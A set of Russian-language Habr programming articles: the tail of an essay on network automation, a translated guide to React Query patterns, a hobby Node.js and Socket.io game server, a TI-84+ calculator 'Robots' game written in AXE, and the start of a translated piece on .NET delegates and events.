Но на этом жизнь его не кончается. В этом месте от кольца начинается цепочка старинных радиорелеек, не поддерживающая MPLS, которая ведёт к глухой деревне. Скидываются все метки, пакет идёт по проброшенному VLAN'у.
А на одном из сегментов для организации канала используется Е1, где нужно Ethernet конвертировать в E1 тайм-слоты, а потом обратно расконвертировать.
И вот базовая станция клиента, где пакет, полученный из одной радиосреды, нужно передать в другой - в LTE, при этом не забыв все его заголовки и радио-маркеры привести в требуемый вид.
После этого терминал наконец получает пакет, потрёпанный, поцарапанный, побитый, раздавленный, и ... дропает его, потому что истекло время ожидания.
А сколько радости доставляет каждому сетевику и разработчику вендора интероп разных вендоров?
И всё это только потому, что сеть - это самый фундамент инфраструктуры. Нужно поддерживать как новейшие технологии, так и чудовищные ископаемые.
Новенькие облака должны смочь дотянуться до старинных Token Ring. Недовытравленные сети SDH должны жить одновременно с 400Гб/с Ethernet. Серые IPv4 сети должны иметь возможность добраться до IPv6-only сервисов.
Сетевые устройства и технологии вынуждены тащить за свой хвост легаси длинной в 60 лет, продолжая наращивать его всё больше и больше. И это всё лишь для того, чтобы доставить байты из точки А в точку Б.
Расскажите сетевикам про проклятое легаси и обратную совместимость?
Самое обидное, что тащить его через ворох такого старья приходится не только глобально по миру, но и внутри вполне себе контролируемого контура. Мы можем выдумывать какие угодно изящные схемы, но это не имеет смысла, если их нельзя реализовать в железе.
И тут проприетарный вендорский софт всячески вставляет палки в колёса.
А вот программируемые конвейеры обещают небывалую гибкость. Whitebox и P4 могут стать теми, кто поменяет правила игры. Если у вас есть десятки коробок с запущенным Linux, и вы можете программировать обработчики в чипе, то перед вами открываются совершенно иные возможности.
Центральный контроллер, принимающий решение о том, как направить трафик в магистрали, учитывая утилизацию, как нагружать внешние линки, программируя нужные инкапсуляции на источнике - это ли не мечта?
И какой-нибудь протокол, как Segment Routing v6, может тут сыграть свою достойную роль. В пределах своего домена используем контроллер и SRv6 для транспорта трафика, на конечных узлах с помощью P4 программируем обработку инкапсуляций на мощном и гибком ASIC'е, а Control Plane сгружаем на обычные сервера. И больше не нужны гигантские вендорские мангалы, не нужно платить за 80% функциональности, которой так никогда и не воспользуешься, этот проприетарный софт, и бесконечные баги.
А потом вы начинаете задавать себе и другим вопросы, вроде - а нужен ли Ethernet?
---
Заключение
----------
Конечно, я очень размазал последнюю часть, непонятно как это сделать, непонятно даже что я имел в виду, возможно. Но это совершенно удивительный мир не просто автоматизации сети, а новой парадигме строительства и управления сетью.
Я думаю, что об этом я напишу ещё не одну статью.
И, надеюсь, этой статьёй мне удалось немного раскрыть длинную историю сетевой автоматизации, показать, что мы живём в эпоху Кембрийского взрыва инструментов и интерфейсов. И перед нами сейчас открыты разные пути, каждый из которых сулит как минимум интересное развитие событий.
Рекомендую к прочтению [вторую часть этой публикации](https://habr.com/ru/post/667440/).
---
Полезные ссылки
---------------
* Главные RFC:
+ [RFC1052](https://datatracker.ietf.org/doc/html/rfc1052): Рекомендации IAB по инструментам управления сетью. Результаты встречи (Апрель 1988)
+ [RFC3535](https://datatracker.ietf.org/doc/html/rfc3535): Результаты встречи IAB по инструментам управления сетью (май 2003)
+ NETCONF: [RFC4741](https://www.ietf.org/rfc/rfc4741.txt), [RFC6241](https://datatracker.ietf.org/doc/html/rfc6241)
+ RESTCONF: [RFC8040](https://www.rfc-editor.org/rfc/rfc8040.txt)
+ YANG: [RFC6020](https://datatracker.ietf.org/doc/html/rfc6020), [RFC7950](https://datatracker.ietf.org/doc/html/rfc7950)
* [Репозиторий с опубликованными YANG-моделями](https://github.com/YangModels/yang/tree/main/standard/ietf/RFC)
* [Слайды NANOG 2015](https://archive.nanog.org/sites/default/files/meetings/NANOG64/1011/20150604_George_Sdn_In_The_v1.pdf)
* [Слайды IETF 98](https://datatracker.ietf.org/meeting/98/materials/slides-98-rtgwg-gnmi-intro-draft-openconfig-rtgwg-gnmi-spec-00)
* [Слайды IETF 101](https://datatracker.ietf.org/meeting/101/materials/slides-101-netconf-grpc-network-management-interface-gnmi-00)
* [SDK Broadcom на github](https://github.com/Broadcom-Network-Switching-Software/OpenBCM)
* Концепция RPC: [Remote Procedure Call (RPC)](https://searchapparchitecture.techtarget.com/definition/Remote-Procedure-Call-RPC)
* Сайт OpenConfig: [openconfig.net](http://openconfig.net/)
* [Опубликованные модели OpenConfig](https://github.com/openconfig/public)
* Хорошая вводная в NETCONF и немного YANG: [YANG Data Modelling and NETCONF](https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2020/pdf/BRKNMS-2032.pdf)
* Продолжение про YANG и немного про NETCONF: [The Road to Model Driven Programmability](https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2020/pdf/BRKDEV-1368.pdf)
* На русском про [NETCONF. Начало](https://habr.com/ru/post/135259/)
* Если жить не можете, хочется на русском про YANG, и вы воспринимаете художественную речь: [YANG — это имя для вождя](https://habr.com/ru/post/557568/)
* Спецификация gNMI в его же [репозитории](https://github.com/openconfig/reference/blob/master/rpc/gnmi/gnmi-specification.md)
* [RESTCONF Tutorial - Everything you need to know about RESTCONF in 2020](https://ultraconfig.com.au/blog/restconf-tutorial-everything-you-need-to-know-about-restconf-in-2020/)
* Серия статей про RESTCONF, но рекомендую я её из-за того, что там хорошо разобраны примеры с YANG-моделями: [RESTCONF, NETCONF and YANG](https://blog.wimwauters.com/tags/yang/)
* [Документация по gRPC](https://grpc.io/docs/)
* [Блог Романа Додина](https://netdevops.me/)
* [Блог Антона Карнелюка](https://karneliuk.com/)
* [Блог Михаила Кашина](https://networkop.co.uk/)
* [Яндекс Nextop. Про использование CLI для Configuration Management](https://www.youtube.com/watch?v=cMllUl73iZg)
---
Благодарности
-------------
* [Роману Додину](https://netdevops.me/) за дельные комментарии как по теоретической, так и по практической частям. А так же за полезный блог и инструменты. [GitHub](https://github.com/hellt).
* [Кириллу Плетнёву](https://www.linkedin.com/mwlite/in/horseinthesky) за наведение порядка с NETCONF и YANG - язык, модели, спецификации, форматы данных. И за уместные и остроумные замечания по языками и библиотекам. [GitHub](https://github.com/horseinthesky), [fb](https://facebook.com/profile.php?id=100000214935640).
* [Александру Лимонову](https://www.linkedin.com/in/alexander-limonov-802a8399/) за несколько идеологических замечаний и исправлений фактических ошибок. | https://habr.com/ru/post/667012/ | null | ru | null |
# Общие шаблоны и нюансы использования React Query
Эта статья — перевод оригинальной статьи "[Common Patterns and Nuances Using React Query](https://www.thisdot.co/blog/common-patterns-and-nuances-using-react-query)"
Также я веду телеграм канал “[Frontend по-флотски](https://t.me/frontend_pasta)”, где рассказываю про интересные вещи из мира разработки интерфейсов.
Вступление
----------
Из-за своей гибкой парадигмы React имеет несколько подходов проектирования проекта. Решения, которые мы принимаем на этапе проектирования и архитектуры проекта, могут либо сократить временные затраты на разработку простого надежного решения, либо затруднить её из-за усложнения реализации.
Одним из простых в реализации, но иногда сложных в использовании инструментов является `react-query` — мощная библиотека для асинхронного управления состоянием. Простота реализации делает его желанным выбором для написания логики состояния компонентов.
Тем не менее, есть некоторые невысказанные аспекты React Query, которые могут показаться разочаровывающими и усложнить его, но часто выпадают из контекста проблемы, которую мы надеемся решить.
Следующие несколько концепций демонстрируют некоторые шаблоны для простых решений, обращая внимание на некоторые нюансы, которые могут возникнуть на этом пути.
Обратите внимание, что `react-query` теперь называется [TanStack Query](https://tanstack.com/query/v4), и эти концепции можно использовать в Vue, Solid и Svelte. В этой статье React он по-прежнему будет называться React Query (RQ).
### Пробуем понять Query State Keys
Под капотом RQ выполняет некоторые сопоставления, аналогичные «типизированным» действиям, работающим в других конечных автоматах. Действия или, в нашем случае, запросы сопоставляются с ключом, значение которого равно `null` или некоторому начальному состоянию (подробнее об этом в следующем разделе).
Поскольку RQ — это инструмент управления состоянием, состояние будет обновляться относительно других изменений состояния в компоненте. Это означает, что всякий раз, когда состояние компонента изменяется, эти изменения также влияют на состояние запроса, выполняющего проверки состояния, и соответственно обновляются.
Возьмите приложение Todo, которое загружает некоторые задачи. Снэпшот состояния запроса может выглядеть так:
```
{
queryKey: {
0: 'tasks
},
queryHash: "[\"tasks\"]"
}
```
Если ключ состояния изменяется, то же самое происходит и с кэшированными данными, доступными по ключу в этот момент. Изменения состояния будут происходить только для нескольких выбранных событий. Если ключ состояния не изменится, запрос все еще может выполняться, но кэшированные данные не будут обновляться.
### Использование Initial и Placeholder Data
Примером этого является использование исходных данных для представления значений, которые не были полностью загружены. В конечных автоматах принято вводить начальное состояние перед [гидратацией](https://en.wikipedia.org/wiki/Hydration_(web_development)).
Возьмите приложение Todo ранее, которое должно показывать начальное состояние загрузки. При первоначальном запросе запрос задач находится в состоянии загрузки (он же `isLoading = true`). UI отобразит содержимое на месте, когда оно будет готово. Это не лучший UX, но это можно быстро исправить.
RQ предоставляет опции для настроек `initialData` или `placeholderData`. Хотя эти свойства имеют сходство, разница заключается в том, где происходит кэширование: на Cache-level или на Observer-level.
**Cache-level** относится к кэшированию с помощью ключа запроса, где находятся начальные данные. Этот начальный кэш переопределяет кэши observer-level.
**Observer-level** относится к местоположению, в котором находится подписка, и где отображается `placeholderData`. Данные на этом уровне не кэшируются и работают, если исходные данные не были кэшированы.
С `InitialData` у вас больше контроля над `staleTime` кеша и стратегиями повторной выборки. Принимая во внимание, что `placeholderData` — допустимый вариант для простого улучшения UX. Имейте в виду, что состояния ошибок меняются в зависимости от выбора между кэшированием исходных данных или нет.
```
export default function TasksComponent() {
const { data, isPlaceholderData } = useQuery(
['tasks'],
getTasks,
{
placeholderData: {
tasks: [],
},
}
);
return (
{isPlaceholderData ? (
Initial Placeholder
) : (
{data?.tasks?.map((task) => (
* {task.name}
))}
)}
);
}
```
Управление состоянием обновления
--------------------------------
Расширяя предыдущую концепцию, обновление запроса происходит, когда либо состояние устарело, и мы контролируем обновление, либо мы используем другие механизмы, предоставляемые RQ, для выполнения тех же задач.
Регидратация данных
-------------------
RQ предоставляет метод `refresh`, который делает новый сетевой запрос для запроса и обновляет состояние. Однако, если кэшированное состояние такое же, как только что извлеченное, ничего не будет обновляться. Это может быть желательным результатом для ограничения обновлений состояния, но возьмем ситуацию, когда требуется ручная повторная выборка после возникновения мутации.
Использование ключа запроса с запросами на выборку повышает специфичность запроса и добавляет управление повторной выборкой. Это известно как *Invalidation*, когда данные ключа запроса помечаются как устаревшие, очищаются и повторно загружаются.
Повторная выборка данных может происходить автоматически или вручную в разной степени для любого из этих подходов. Это означает, что мы можем автоматически запросить данные повторной выборки по `stateTime` или другим параметрам повторной выборки (`refetchInterval`, `refetchIntervalInBackground`, `refetchOnMount`, `refetchOnReconnect` и `refetchOnWindowFocus`). И мы можем выполнить повторную загрузку вручную с помощью функции `refetch`.
Автоматическое обновление довольно просто, но бывают случаи, когда мы хотим вручную инициировать обновление определенного ключа запроса, чтобы получить самые последние данные. Однако вы, вероятно, столкнётесь с ситуацией, когда функция `refetch` не выполняет сетевой запрос.
Обработка HTTP ошибок
---------------------
Одна из наиболее распространенных ситуаций, с которой сталкиваются новички в RQ, — это обработка ошибок, возвращаемых неудачными HTTP-запросами. В стандартном запросе на выборку с использованием `useState` и `useEffect` обычно создается некоторое состояние для управления сетевыми ошибками. Однако RQ может ловить ошибки из рантайма, если используемый API не содержит надлежащей обработки ошибок.
Будь то ошибка из рантайма или сетевая ошибка, они отображаются в свойстве `error` запроса или мутации (также обозначаемой статусом `isError`).
Чтобы справится с этим и передать сетевую ошибку в запрос, мы можем сделать одно или комбинацию этого:
* сообщить fetch API, как обработать неудачный ответ
* использование error boundaries с запросами и мутациями
Обработка ошибок с помощью Fetch
--------------------------------
Для простого решения по обработке ошибок обработайте сетевые запросы от fetch API (или axios) следующим образом:
```
async function getTasks() {
try {
const data = await fetch('https://example.com/tasks');
// if data is possibly null
if(!data) {
throw new Error('No tasks found')
}
return data;
} catch (error) {
throw new Error('Something went wrong')
}
}
```
Затем в вашем компоненте:
```
export default function TasksComponent() {
const { data, isError } = useQuery(['tasks'], getTasks);
return (
{isError ? (
<>Unable to load errors at this time.
) : (
{data?.tasks?.map((task) => (
* {task.name}
))}
)}
);
}
```
Этот шаблон повторяется, но он полезен для простых приложений, которые могут не требовать интенсивного использования запросов.
Обработка ошибок с помощью Error Boundaries
-------------------------------------------
Возможно, лучшее, что разработчик React может сделать для своего приложения, — это установить [Error Boundaries](https://reactjs.org/docs/error-boundaries.html#introducing-error-boundaries).
Error Boundaries помогают сдерживать ошибки рантайма, которые обычно приводят к сбою приложения, распространяясь по дереву компонентов. Однако они не могут обрабатывать сетевые ошибки без некоторой настройки.
К счастью, RQ делает это очень просто благодаря опции `useErrorBoundary`:
```
const { data, isError } = useQuery(['tasks'], getTasks, { useErrorBoundary: true });
```
Хук принимает ошибку, кэширует ее и повторно выдает, поэтому Error Boundaries захватывает ее соответствующим образом.
Кроме того, передача в `useErrorBoundary` функции, которая возвращает логическое значение, увеличивает детализацию обработки сетевых ошибок, например:
```
const { data, isError } = useQuery(['tasks'], getTasks, {
useErrorBoundary: (error) => error.response?.status >= 500
});
```
Выводы
------
Три основные концепции использования React Query:
* Гидратация с помощью плэйсхолдеров или значений по умолчанию
* Регидратация кеша свежими данными
* обработка сетевых ошибок с правильной настройкой и error boundaries
Существует ряд инструментов управления состоянием, которые можно использовать с React, но React Query упрощает запуск и работу благодаря эффективному инструменту, который придерживается некоторых простых шаблонов и циклов рендеринга React.
Изучение того, как и когда выполнять запросы для достижения шаблона желания, требует некоторого понимания экосистемы React. | https://habr.com/ru/post/714920/ | null | ru | null |
# Игровой сервер за один день на Node.js + Socket.io
В конце рабочего дня в пятницу, обдумывая текущую задачу, в воспаленном мозгу неожиданно возникла мысль — а не попробовать ли мне написать свой игровой сервер?
В мыслях проскакивали картины одна краше другой, изобретались механики будущей игры, спецэффекты. В голове игра была практически готова, осталось всего ничего, подготовить концепт, начать работу над дизайн документом, найти художников, сценаристов, звукооператоров, программистов… Горестно вздохнув, очередной раз отправил идею на свалку.
Но по-видимому, заноза прочно засела в голове, поэтому проснувшись в субботу я принялся творить.
Во-первых мне нужно было выбрать технологии, с помощью которых реализовать задуманное. Сказав решительное нет опыту, который твердил что нужно использовать хорошо знакомые мне технологии, такие например, как java.nio для сервера и cocos2d для клиента был выбран следующий стек технологий: javascript + node.js + socket.io + html canvas.
Учитывая, что все эти технологии для меня в диковинку, пессимист во мне подумал, ну ладно, поиграйся немного, все равно быстро ничего не получится.
Для начала нужно было установить node.js, на маке это решилось довольно просто, используя ports:
sudo port install nodejs
sudo port install npm
npm install socket.io
На этом приготовления были закончены.
Бодро начав работу, быстро увяз на некоторое время в синтаксисе javascript, но в итоге набросал таки костяк приложения. И что самое удивительное, оно работало!
Вот код:
SERVER
```
var io = require('socket.io').listen(80);
io.sockets.on('connection', function (socket) {
socket.on('message', function () { });
socket.on('disconnect', function () { });
});
```
CLIENT
```
var socket = io.connect('http://localhost/');
socket.on('connect', function () {
socket.send('hi');
socket.on('message', function (msg) {
// my msg
});
});
```
Который я беззастенчиво взял отсюда [socket.io/#how-to-use](http://socket.io/#how-to-use)
Впрочем, код быстро видоизменился:
CLIENT
```
var URL = 'http://localhost:9090';
var Network = function(url) {
this.url = url;
this.pingTime = 0;
this.actorId = 0;
this.sendingPing = false;
}
Network.prototype.ping = function() {
if(this.sendingPing) {
return;
}
this.sendingPing = true;
this.startDate = new Date();
this.socket.send("hi");
}
Network.prototype.start = function(game) {
var socket = io.connect(this.url);
this.socket = socket;
socket.on('connect', function () {
socket.on('message', function () {
var now = new Date();
network.pingTime = (now.getTime()-network.startDate.getTime());
network.sendingPing = false;
});
socket.on('actorId', function (id) {
network.actorId = id;
});
socket.on('gameInfo', function (msg) {
game.networkUpdate(msg);
});
network.ping();
game.active = true;
});
socket.on('disconnect', function () {
network.start(game);
});
}
Network.prototype.update = function() {
this.ping();
}
Network.prototype.sendInput = function(pos) {
this.socket.emit('input', pos);
}
var network = new Network(URL);
network.start(game);
```
SERVER
```
var io = require('socket.io').listen(9090);
var clients = [];
io.sockets.on('connection', function (socket) {
var client = new Client(socket);
clients.push(client);
game.active = clients.length != 0;
socket.on('message', function (msg) {
client.onMessage(msg);
});
socket.on('input', function (pos) {
client.onInput(pos);
});
socket.on('disconnect', function () {
var index = clients.indexOf(client);
if(index != -1) {
clients.splice(index);
}
game.active = clients.length != 0;
client.onDisconnect();
});
});
console.log("Server started..");
setInterval(function() {
if(!game.active) {
return;
}
game.update(TICK_TIME);
var gameInfo = game.gameInfo();
for(var i=0;i
```
В деме предусмотрено управление одним из актеров (зелененьким), при нажатии в определенное место канвы актер телепортируется туда и меняет свое направление и скорость на рандомные.
Игровой цикл реализовал в классе Game, поведение в классе Actor. Вся логика просчитывается на сервере и передает координаты клиенту, который рисует кружочки (наших актеров) в нужных координатах. Построение достоверной физической модели не было целью данного эксперимента, поэтому я просто реализовал «отскок» шариков от стенок. В общем получилось все довольно просто, залив код на сервер с удивлением понял, что все работает и неожиданно плавно.
Поначалу хотел сделать общие базовые классы Game и Actor для сервера и клиента, но решил не морочить голову себе и людям и написал код дважды для клиента и сервера.
Как итог — познакомился с незнакомыми мне до сего момента технологиями, ощутил в полной мере, что все таки технологии не стоят на месте и что платформа node.js в частности заслуживает внимания чтобы присмотреться к ней повнимательнее.
Стресс тестирования не проводил, поэтому ничего не могу сказать по производительности. По субъективным ощущениям должно быть «не очень», но пока не подтвердить не могу.
Для желающих попробовать, вот [ссылка](http://ios.keitaitoys.com/network/index.html) (в качестве сервера используется не самая быстрая виртуалка, так что может быть всякое).
Если у кого-то есть желание ознакомится с исходным кодом, то пожалуйте [сюда](https://github.com/valfrom/network). | https://habr.com/ru/post/218463/ | null | ru | null |
# TI-84+
Обнаружив в моей очередной контрольной энное количество вычислительных ошибок, учитель физики сказал несколько максимально вежливых фраз, которые в вольном переводе на живой великорусский язык звучали бы так:
> Чтоб в следующий раз был нормальный графический калькулятор!
В результате набега на ближайший книжный магазин (никаких более релевантных в округе не было) был приобретен [TI-84 Plus](https://en.wikipedia.org/wiki/TI-84%2B). После того как все контрольные были написаны, возник вопрос: а что, собственно говоря, этот зверь умеет? Путем гугления выяснилось, что TI-84 Plus — это не только ценный извлекатель квадратных корней но и:
* Легендарный Zilog Z80,
* 24 Кб RAM и 480 Кб Flash доступной пользователю,
* Куча полезных (и не очень) программ, написанных энтузиастами.
Под катом — небольшой обзор калькулятора и довольно-таки корявая игра [«роботы»](https://en.wikipedia.org/wiki/Robots_%28BSD_game%29) моего написания. Заранее прошу прощения у любителей обнаженки — разобрать калькулятор я не смог, да и побоялся.
TI-84+ — программируемый графический калькулятор с черно-белым экраном 96x64. «Говорит и понимает» математическую нотацию (дроби вида а над бе, квадратные корни с аргументом под чертой и так далее):
Умеет кучу полезных математических штук, но интереснее с точки зрения Хабра его программируемость.
#### Программирование
Программировать TI-84+ «из коробки» можно либо на TI BASIC, либо в машинных кодах. TI BASIC — диалект BASICa. Это «структурный», а не «макаронный» диалект. Вместо ключевых слов — токены (по-моему что-то такое было в Спекртумах). Оптимизирован для математических операций, для игр и других приложений подходит так себе, хотя конечно, умеючи можно написать что угодно. Из минусов очень медленный, так как вдобавок к интерпретации, вся математика с плавающей точкой. Из плюсов — программы занимают очень мало места.
Другая возможность — машинные коды. Как правило, собранные ассемблером на компьютере. Соответственно, программы получаются на несколько порядков быстрее и раза в два больше чем соответствующая программа на бейсике. Еще они могут убить калькулятор.
Энтузиастами созданы и другие способы программировать TI-84+. Наиболее значимый, пожалуй, — AXE. Это аналог Си для калькуляторов: язык с Basic-подобным синтаксисом, транслирующийся в машинные коды. Не требует компьютера для написания и компиляции программы (хотя, писать большую программу на калькуляторе — удовольствие на любителя). Использует шестнадцатибитную арифметику, что конечно медленнее нативной восьмибитной.
#### Программы для TI-84+
[Вот здесь](http://www.ticalc.org/) есть архив с кучей программ — как полезных, ятак и игровых. Также, на [оффициальном](http://education.ti.com/en/us/home) сайте TI есть много полезных программ. На калькуляторе из коробки память забита под завязку, но большая часть программ в стандартной поставке бесполезны, их можно смело удалить.
Пару слов об организации памяти: в калькуляторе есть RAM и FLASH (Archive в терминологии TI). И то и другое организованно в некое подобие файловой системы. Программы и данные можно хранить как в RAM, так и во FLASH. FLASH медленнее, но ее больше. Кроме «программ» и данных во FLASH хранятся «приложения» — от «программ» они отличаются, тем, что распределены по страницам FLASH-памяти и могут занимать больше памяти, чем процессор в состоянии адресовать.
Полезная вещь, которую стоит иметь на калькуляторе — это оболочка, приложение содержащее библиотеки, загрузчик бинарных программ, и графический интерфейс. Лично я пользуюсь [Doors CS](http://dcs.cemetech.net/index.php/Main_Page). Ее плюс в том, что она содержит библиотеки всех популярных оболочек, а минус — в большом размере. Создатели Doors CS попытались сделать интерфейс похожим на Windows, для чего TI-84+ подходит, на мой взгляд, плохо. Впрочем, использовать GUI Door CS необязательно, она автоматический интегрируется в ОС.
Некоторые интересные программы для TI-84+:
* [Portal](http://www.omnimaga.org/files/Our-TI-PC-Products-Music-and-Calculator-Videos/Our-TI-83-Plus-TI-84-Plus-Silver-Edition-games/PortalPrelude.zip) про него был [пост](http://habrahabr.ru/post/161329/) на хабре.
* [Таблица Менделеева](http://education.ti.com/en/us/software/details/en/1E8EB275DBED43918A5E8230BCDDEDF0/83periodictable1?download=46E7F26FB53448639A3FBF59348AE80A#!) — полезная вещь.
* [Птичка. Та самая.](http://www.ticalc.org/pub/83plus/asm/games/flappybird.zip)
#### «Роботы» на AXE
Погоняв птичку и попрыгав через порталы, я решил сам что-нибудь написать. В качестве языка я выбрал AXE, а в качестве задачи — BSDшных роботов. Получилось коряво: большую часть памяти занимают массивы. Но как сделать компактнее, я так и не придумал.
Программа состоит из пяти «частей»: инициализации, отрисовки, создания нового уровня, «интеллекта» роботов и главного цикла. Отличия от оригинала: игровое поле 23x15 (каждый спрайт 4x4 + бордюр), меньше роботов из-за уменьшения игрового поля, нет подсчета очков.
##### Инициализация
**Скрытый текст**
```
.ROBOTS
.IMAGES
.EMPTY
.ROBOT
.JUNK
.PLAYER
.STONE
.STONE
[000000000000000020702000000000007070700000000000702070000000000020707000000000002070700000000000]->Pic1
.FIELD
Buff(23*15)->Str1
Buff(23*15)->Str2
Buff(23*15)->Str3
1->L
```
Здесь все просто. Сначала идет заголовок с именем программы, потом шестнадцатиричная строка со спрайтами. AXE поддерживает спрайты 8x8, а у меня — 4x4, так что большая часть этогй стоки — нули. Также, я использовал «пустой» спрайт и повторил спрайт с могилой два раза для упрощения отрисовки.
Дальше инициализируются массивы с игровым полем. Str1 — главное игровое поле, Str2 — вспомогательное, Str3 — копия старого игрового поля для предотвращения ошибок игрока. Переменная L — уровень.
Обратите внимание на особенность синтаксиса AXE (и TI-BASICа): присваивание происходит справа налево.
##### Создание нового уровня
**Скрытый текст**
```
Lbl NEWLVL
Fill(Str1,15*23,0)
L*5->R
For(R)
rand^15->I
rand^23->J
I*23+J+Str1->P
1->{P}
End
rand^23->X
rand^15->Y
3->{Y*23+X+Str1}
Return
```
Сперва игровое поле обнуляется, затем на нем размещаются роботы (спрайт за номером 1). В оригинале на каждом уровне появлялось по десять роботов, у меня игровое поле меньше, поэтому я выбрал пять. Роботов может быть меньше, чем L\*5 из-за наложения, я решил считать это фитчей. Затем выбирается позиция игрока (спрайт номер 3), опять же: в отличии от оригинала, где помереть можно на нулевом ходу, у меня игрок «убивает» робота, если приземлится на него в начале игры.
##### Отрисовка
**Скрытый текст**
```
Lbl DRAW
ClrDraw
VLine(0,0,62)
VLine(94,0,62)
HLine(0,0,94)
HLine(62,0,94)
For(I,0,22)
For(J,0,14)
Pt-On(I*4+1,J*4+2,{J*23+I+Str1}*8+Pic1)
End:End
DispGraph
Return
```
Здесь, опять же, все просто. Пожалуй, стоит сказать, что двоеточие — разделитель операторов, а Pt-On — отрисовка спрайта. Lbl — метка, от LaBeL. Фигурные скобки в AXE — значение байта по заданному адресу.
##### Передвижение роботов
**Скрытый текст**
```
Lbl STEP
0->R
Fill(Str2,23*15,0)
For(I,0,22):For(J,0,14)
J*23+I->A
{A+Str1}->B
If B=2
2->{A+Str2}:End
If B=1:
R+1->R
(J+SIGN(J,Y))*23+I+SIGN(I,X)+Str2->A
{A}+({A}<2)->{A}
End
End:End
Copy(Str2,Str1,23*15)
Y*23+X+Str1->A
{A}+3->{A}
Return
Lbl SIGN
([r1]<[r2])-([r1]>[r2])
Return
```
Здесь начинаются грязные хаки. Программа сканирует игровое поле, ища роботов, и передвигает их в сторону игрока. Операции сравнения в AXE возвращают единицу, поэтому {A}+({A}<2)->{A} инкременирует A если и только если А меньше двух. Затем отмечается позиция игрока.
##### Главный цикл
**Скрытый текст**
```
While 1
0->G
NEWLVL()
DRAW()
While R>0
X->M:Y->N
Copy(Str1,Str3,23*15)
If G<200
getKey^^r->G
ReturnIf G=9
G^100->K
End
If K=47
rand^23->X
rand^15->Y
STEP()
DRAW()
If {A}!=3
getKey^^r:Return
End
Else
(K=51)+(K=48)+(K=45)-(K=49)-(K=46)-(K=43)->I
((K>=43) and (K<=45))-((K>=49) and (K<=51))->J
If ((J+Y)<15) and ((J+Y)>=0) and ((I+X)<23) and ((I+X)>=0)
X+I->X:Y+J->Y
Else:0->G
End
STEP()
If {A}!=3
M->X:N->Y
Copy(Str3,Str1,23*15)
0->G
End
End
```
Собственно, можете наблюдать ухудшение качества кода: главный цикл мне пришлось переписывать три раза (заповедь «делай бекапы» для TI-84+ как никогда актуальна), и под конец я устал. В результате получилось то, что получилось.
Пояснения:
R — количество роботов на игровом поле. Если роботов больше не осталось — значит уровень пройден.
getKey^^r ждет нажатия клавиши, затем возвращает скан-код. Реализуя свой преступный замысел, я использовал тот факт, что модификатор 2nd прибавляет к скан-кодам цифровых клавиш сотню. Таким образом, новая клавиша не считывается если 2nd была нажата — таким образом реализуется повторение. Истинный скан-код сохраняется в переменную G, и если G больше 200, новая команда не считывается.
Скан-код 147 — клавиша «5». В игре это команда телепортации. Телепортация — единственный ход, на котором игра может закончится, поэтому он обрабатывается отдельно.
Скан-коды 43…45, 49…51, 46 и 48 — это цифровые клавиши, по ним игрок двигается. Убить игрока во время движения нельзя, так что состояние игры сохраняется до хода и восстанавливается если игрок с кем-то столкнулся. При этом, G обнуляется.
##### Как это все выглядит в собранном виде:
**Скрытый текст**
```
.ROBOTS
.IMAGES
.EMPTY
.ROBOT
.JUNK
.PLAYER
.STONE
.STONE
[000000000000000020702000000000007070700000000000702070000000000020707000000000002070700000000000]->Pic1
.FIELD
Buff(23*15)->Str1
Buff(23*15)->Str2
Buff(23*15)->Str3
1->L
While 1
0->G
NEWLVL()
DRAW()
While R>0
X->M:Y->N
Copy(Str1,Str3,23*15)
If G<200
getKey^^r->G
ReturnIf G=9
G^100->K
End
If K=47
rand^23->X
rand^15->Y
STEP()
DRAW()
If {A}!=3
getKey^^r:Return
End
Else
(K=51)+(K=48)+(K=45)-(K=49)-(K=46)-(K=43)->I
((K>=43) and (K<=45))-((K>=49) and (K<=51))->J
If ((J+Y)<15) and ((J+Y)>=0) and ((I+X)<23) and ((I+X)>=0)
X+I->X:Y+J->Y
Else:0->G
End
STEP()
If {A}!=3
M->X:N->Y
Copy(Str3,Str1,23*15)
0->G
End
End
DRAW()
End
L+1->L
End
Return
Lbl DRAW
ClrDraw
VLine(0,0,62)
VLine(94,0,62)
HLine(0,0,94)
HLine(62,0,94)
For(I,0,22)
For(J,0,14)
Pt-On(I*4+1,J*4+2,{J*23+I+Str1}*8+Pic1)
End:End
DispGraph
Return
Lbl NEWLVL
Fill(Str1,15*23,0)
L*5->R
For(R)
rand^15->I
rand^23->J
I*23+J+Str1->P
1->{P}
End
rand^23->X
rand^15->Y
3->{Y*23+X+Str1}
Return
Lbl STEP
0->R
Fill(Str2,23*15,0)
For(I,0,22):For(J,0,14)
J*23+I->A
{A+Str1}->B
If B=2
2->{A+Str2}:End
If B=1:
R+1->R
(J+SIGN(J,Y))*23+I+SIGN(I,X)+Str2->A
{A}+({A}<2)->{A}
End
End:End
Copy(Str2,Str1,23*15)
Y*23+X+Str1->A
{A}+3->{A}
Return
Lbl SIGN
([r1]<[r2])-([r1]>[r2])
Return
```
##### Спасибо за внимание!
#### Ссылки:
* [ticalc.org](http://ticalc.org)
* [cemetech.net](http://cemetech.net)
* [education.ti.com](http://education.ti.com)
* [www.omnimaga.org](http://www.omnimaga.org)
**Специально для тех, кто дочитал:** | https://habr.com/ru/post/220897/ | null | ru | null |
# Делегаты и события в .NET
*От переводчика. Судя по своему опыту, а также по опыту знакомых коллег-программистов, могу сказать, что для начинающего разработчика среди всех базовых функций языка C*# *и платформы .NET делегаты и события являются одними из наиболее сложных. Возможно, это из-за того, что необходимость делегатов и событий на первый взгляд кажется неочевидной, или же из-за некоторой путаницы в терминах. Поэтому я решил перевести статью Джона Скита, рассказывающую о делегатах и событиях на самом базовом уровне, «на пальцах». Она идеальна для тех, кто знаком с C*#*/.NET, однако испытывает затруднение в понимании делегатов и событий.
Представленный здесь перевод является вольным. Однако если под «вольным», как правило, понимают сокращённый перевод, с упущениями, упрощениями и пересказами, то здесь всё наоборот. Данный перевод является немного расширенной, уточнённой и обновлённой версией оригинала. Я выражаю огромную благодарность Сергею Теплякову aka
[SergeyT](https://habrahabr.ru/users/sergeyt/), который внёс неоценимый вклад в перевод и оформление данной статьи.*
